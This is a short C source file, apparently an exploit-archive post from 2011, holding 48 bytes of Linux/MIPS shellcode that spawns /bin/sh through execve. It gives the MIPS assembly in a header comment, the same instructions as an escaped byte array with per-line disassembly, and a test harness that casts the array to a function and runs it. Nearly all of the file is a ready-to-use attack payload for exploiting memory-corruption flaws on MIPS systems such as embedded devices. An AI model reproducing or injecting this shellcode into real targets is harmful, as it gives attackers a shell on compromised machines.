/* Title:  Linux/MIPS - execve /bin/sh - 48 bytes
   Date:   2011-11-24
   Author: rigan - imrigan [at] gmail.com
  
        .text
        .global __start
__start:
        slti $a2, $zero, -1
        li $t7, 0x2f2f6269
        sw $t7, -12($sp)
        li $t6, 0x6e2f7368
        sw $t6, -8($sp)
        sw $zero, -4($sp)
        la $a0, -12($sp)
        slti $a1, $zero, -1
        li $v0, 4011
        syscall 0x40404
*/

#include <stdio.h>

char sc[] = {
        "\x28\x06\xff\xff"        /* slti    a2,zero,-1   */
        "\x3c\x0f\x2f\x2f"        /* lui     t7,0x2f2f    */
        "\x35\xef\x62\x69"        /* ori     t7,t7,0x6269 */
        "\xaf\xaf\xff\xf4"        /* sw      t7,-12(sp)   */
        "\x3c\x0e\x6e\x2f"        /* lui     t6,0x6e2f    */
        "\x35\xce\x73\x68"        /* ori     t6,t6,0x7368 */
        "\xaf\xae\xff\xf8"        /* sw      t6,-8(sp)    */
        "\xaf\xa0\xff\xfc"        /* sw      zero,-4(sp)  */
        "\x27\xa4\xff\xf4"        /* addiu   a0,sp,-12    */
        "\x28\x05\xff\xff"        /* slti    a1,zero,-1   */
        "\x24\x02\x0f\xab"        /* li      v0,4011      */
        "\x01\x01\x01\x0c"        /* syscall 0x40404      */
};

void main(void)
{
       void(*s)(void);
       printf("size: %d\n", strlen(sc));
       s = sc;
       s();
}